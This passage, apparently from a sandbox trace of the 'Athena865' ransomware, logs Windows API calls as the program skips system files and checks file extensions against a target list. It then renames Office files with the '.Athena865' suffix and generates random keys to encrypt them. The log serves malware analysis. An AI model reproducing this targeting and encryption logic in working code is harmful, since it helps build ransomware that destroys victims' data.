ftCreationTime.dwLowDateTime=0x96053b00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96053b00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x2b532a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.HXS", cAlternateFileName="")) returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2=".") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="..") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="windows") returned -1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="bootmgr") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="temp") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="pagefile.sys") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="boot") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="ids.txt") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="ntuser.dat") returned 1 [0147.556] lstrcmpiW (lpString1="VISIO.HXS", lpString2="perflogs") returned 1 [0147.557] lstrcmpiW (lpString1="VISIO.HXS", lpString2="MSBuild") returned 1 [0147.557] lstrlenW (lpString="VISIO.HXS") returned 9 [0147.557] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.HXS" | out: lpString1="VISIO.HXS") returned="VISIO.HXS" [0147.557] lstrlenW (lpString="VISIO.HXS") returned 9 [0147.557] lstrlenW (lpString="Athena865") returned 9 [0147.557] lstrlenW (lpString=".dll") returned 4 [0147.557] lstrcmpiW (lpString1="VISIO.HXS", lpString2=".dll") returned 1 [0147.557] lstrlenW (lpString=".lnk") returned 4 [0147.557] lstrcmpiW (lpString1="VISIO.HXS", lpString2=".lnk") returned 1 [0147.557] lstrlenW (lpString=".ini") returned 4 [0147.557] lstrcmpiW (lpString1="VISIO.HXS", lpString2=".ini") returned 1 [0147.557] lstrlenW (lpString=".sys") returned 4 [0147.557] lstrcmpiW (lpString1="VISIO.HXS", lpString2=".sys") returned 1 [0147.557] lstrlenW (lpString="VISIO.HXS") returned 9 [0147.557] lstrlenW (lpString="bak") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="bak") returned 1 [0147.557] lstrlenW (lpString="ba_") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="ba_") returned 1 [0147.557] lstrlenW (lpString="dbb") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="dbb") returned 1 [0147.557] lstrlenW (lpString="vmdk") returned 4 [0147.557] lstrcmpiW (lpString1=".HXS", lpString2="vmdk") returned -1 [0147.557] lstrlenW (lpString="rar") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="rar") returned -1 [0147.557] lstrlenW (lpString="zip") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="zip") returned -1 [0147.557] lstrlenW (lpString="tgz") returned 3 [0147.557] lstrcmpiW (lpString1="HXS", lpString2="tgz") returned -1 [0147.557] lstrlenW (lpString="vbox") returned 4 [0147.557] lstrcmpiW (lpString1=".HXS", lpString2="vbox") returned -1 [0147.557] lstrlenW (lpString="vdi") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="vdi") returned -1 [0147.558] lstrlenW (lpString="vhd") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="vhd") returned -1 [0147.558] lstrlenW (lpString="vhdx") returned 4 [0147.558] lstrcmpiW (lpString1=".HXS", lpString2="vhdx") returned -1 [0147.558] lstrlenW (lpString="avhd") returned 4 [0147.558] lstrcmpiW (lpString1=".HXS", lpString2="avhd") returned -1 [0147.558] lstrlenW (lpString="db") returned 2 [0147.558] lstrcmpiW (lpString1="XS", lpString2="db") returned 1 [0147.558] lstrlenW (lpString="db2") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="db2") returned 1 [0147.558] lstrlenW (lpString="db3") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="db3") returned 1 [0147.558] lstrlenW (lpString="dbf") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="dbf") returned 1 [0147.558] lstrlenW (lpString="mdf") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="mdf") returned -1 [0147.558] lstrlenW (lpString="mdb") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="mdb") returned -1 [0147.558] lstrlenW (lpString="sql") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="sql") returned -1 [0147.558] lstrlenW (lpString="sqlite") returned 6 [0147.558] lstrcmpiW (lpString1="IO.HXS", lpString2="sqlite") returned -1 [0147.558] lstrlenW (lpString="sqlite3") returned 7 [0147.558] lstrcmpiW (lpString1="SIO.HXS", lpString2="sqlite3") returned -1 [0147.558] lstrlenW (lpString="sqlitedb") returned 8 [0147.558] lstrcmpiW (lpString1="ISIO.HXS", lpString2="sqlitedb") returned -1 [0147.558] lstrlenW (lpString="xml") returned 3 [0147.558] lstrcmpiW (lpString1="HXS", lpString2="xml") returned -1 [0147.558] lstrlenW (lpString="$er") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="$er") returned 1 [0147.559] lstrlenW (lpString="4dd") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="4dd") returned 1 [0147.559] lstrlenW (lpString="4dl") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="4dl") returned 1 [0147.559] lstrlenW (lpString="^^^") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="^^^") returned 1 [0147.559] lstrlenW (lpString="abs") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="abs") returned 1 [0147.559] lstrlenW (lpString="abx") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="abx") returned 1 [0147.559] lstrlenW (lpString="accdb") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accdb") returned 1 [0147.559] lstrlenW (lpString="accdc") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accdc") returned 1 [0147.559] lstrlenW (lpString="accde") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accde") returned 1 [0147.559] lstrlenW (lpString="accdr") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accdr") returned 1 [0147.559] lstrlenW (lpString="accdt") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accdt") returned 1 [0147.559] lstrlenW (lpString="accdw") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accdw") returned 1 [0147.559] lstrlenW (lpString="accft") returned 5 [0147.559] lstrcmpiW (lpString1="O.HXS", lpString2="accft") returned 1 [0147.559] lstrlenW (lpString="adb") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0147.559] lstrlenW (lpString="adb") returned 3 [0147.559] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0147.559] lstrlenW (lpString="ade") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="ade") returned 1 [0147.560] lstrlenW (lpString="adf") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="adf") returned 1 [0147.560] lstrlenW (lpString="adn") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="adn") returned 1 [0147.560] lstrlenW (lpString="adp") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="adp") returned 1 [0147.560] lstrlenW (lpString="alf") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="alf") returned 1 [0147.560] lstrlenW (lpString="ask") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="ask") returned 1 [0147.560] lstrlenW (lpString="btr") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="btr") returned 1 [0147.560] lstrlenW (lpString="cat") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="cat") returned 1 [0147.560] lstrlenW (lpString="cdb") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="cdb") returned 1 [0147.560] lstrlenW (lpString="ckp") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="ckp") returned 1 [0147.560] lstrlenW (lpString="cma") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="cma") returned 1 [0147.560] lstrlenW (lpString="cpd") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="cpd") returned 1 [0147.560] lstrlenW (lpString="dacpac") returned 6 [0147.560] lstrcmpiW (lpString1="IO.HXS", lpString2="dacpac") returned 1 [0147.560] lstrlenW (lpString="dad") returned 3 [0147.560] lstrcmpiW (lpString1="HXS", lpString2="dad") returned 1 [0147.560] lstrlenW (lpString="dadiagrams") returned 10 [0147.560] lstrlenW (lpString="daschema") returned 8 [0147.560] lstrcmpiW (lpString1="ISIO.HXS", lpString2="daschema") returned 1 [0147.561] lstrlenW (lpString="db-journal") returned 10 [0147.561] lstrlenW (lpString="db-shm") returned 6 [0147.561] lstrcmpiW (lpString1="IO.HXS", lpString2="db-shm") returned 1 [0147.561] lstrlenW (lpString="db-wal") returned 6 [0147.561] lstrcmpiW (lpString1="IO.HXS", lpString2="db-wal") returned 1 [0147.561] lstrlenW (lpString="dbc") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dbc") returned 1 [0147.561] lstrlenW (lpString="dbs") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dbs") returned 1 [0147.561] lstrlenW (lpString="dbt") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dbt") returned 1 [0147.561] lstrlenW (lpString="dbv") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dbv") returned 1 [0147.561] lstrlenW (lpString="dbx") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dbx") returned 1 [0147.561] lstrlenW (lpString="dcb") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dcb") returned 1 [0147.561] lstrlenW (lpString="dct") returned 3 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dct") returned 1 [0147.561] lstrcmpiW (lpString1="HXS", lpString2="dcx") returned 1 [0147.561] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.Athena865") returned 67 [0147.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.athena865"), dwFlags=0x1) returned 1 [0147.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.563] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2839338) returned 1 [0147.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.564] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.564] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.564] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.565] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b5630, lpName=0x0) returned 0x154 [0147.566] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xb5630) returned 0x2bb0000 [0147.726] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.727] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.727] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0147.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0147.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.728] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0147.734] CloseHandle (hObject=0x154) returned 1 [0147.734] CloseHandle (hObject=0x17c) returned 1 [0147.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.743] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e34500, ftCreationTime.dwHighDateTime=0x1ca90f4, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4e34500, ftLastWriteTime.dwHighDateTime=0x1ca90f4, nFileSizeHigh=0x0, nFileSizeLow=0xd6cc6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET.HXS", cAlternateFileName="VISIOS~1.HXS")) returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2=".") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="..") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="windows") returned -1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="bootmgr") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="temp") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="pagefile.sys") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="boot") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="ids.txt") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="ntuser.dat") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="perflogs") returned 1 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2="MSBuild") returned 1 [0147.743] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0147.743] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.SHAPESHEET.HXS" | out: lpString1="VISIO.SHAPESHEET.HXS") returned="VISIO.SHAPESHEET.HXS" [0147.743] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0147.743] lstrlenW (lpString="Athena865") returned 9 [0147.743] lstrcmpiW (lpString1="SHEET.HXS", lpString2="Athena865") returned 1 [0147.743] lstrlenW (lpString=".dll") returned 4 [0147.743] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2=".dll") returned 1 [0147.743] lstrlenW (lpString=".lnk") returned 4 [0147.744] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2=".lnk") returned 1 [0147.744] lstrlenW (lpString=".ini") returned 4 [0147.744] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2=".ini") returned 1 [0147.744] lstrlenW (lpString=".sys") returned 4 [0147.744] lstrcmpiW (lpString1="VISIO.SHAPESHEET.HXS", lpString2=".sys") returned 1 [0147.744] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0147.744] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.Athena865") returned 78 [0147.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.athena865"), dwFlags=0x1) returned 1 [0147.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.747] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=879814) returned 1 [0147.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.747] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.748] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.748] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.748] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6fd0, lpName=0x0) returned 0x154 [0147.750] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6fd0) returned 0x2bb0000 [0147.775] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.776] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.776] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.777] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0147.784] CloseHandle (hObject=0x154) returned 1 [0147.784] CloseHandle (hObject=0x17c) returned 1 [0147.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.788] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x2a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXC", cAlternateFileName="VISIOS~1.HXC")) returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2=".") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="..") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="windows") returned -1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="bootmgr") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="temp") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="pagefile.sys") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="boot") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="ids.txt") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="ntuser.dat") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="perflogs") returned 1 [0147.788] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2="MSBuild") returned 1 [0147.788] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0147.788] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.SHAPESHEET_COL.HXC" | out: lpString1="VISIO.SHAPESHEET_COL.HXC") returned="VISIO.SHAPESHEET_COL.HXC" [0147.789] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0147.789] lstrlenW (lpString="Athena865") returned 9 [0147.789] lstrcmpiW (lpString1="T_COL.HXC", lpString2="Athena865") returned 1 [0147.789] lstrlenW (lpString=".dll") returned 4 [0147.789] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2=".dll") returned 1 [0147.789] lstrlenW (lpString=".lnk") returned 4 [0147.789] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2=".lnk") returned 1 [0147.789] lstrlenW (lpString=".ini") returned 4 [0147.789] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2=".ini") returned 1 [0147.789] lstrlenW (lpString=".sys") returned 4 [0147.789] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXC", lpString2=".sys") returned 1 [0147.789] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0147.789] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.Athena865") returned 82 [0147.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.athena865"), dwFlags=0x1) returned 1 [0147.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=676) returned 1 [0147.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.792] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.792] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b0, lpName=0x0) returned 0x154 [0147.795] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b0) returned 0x100000 [0147.795] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.796] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.796] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 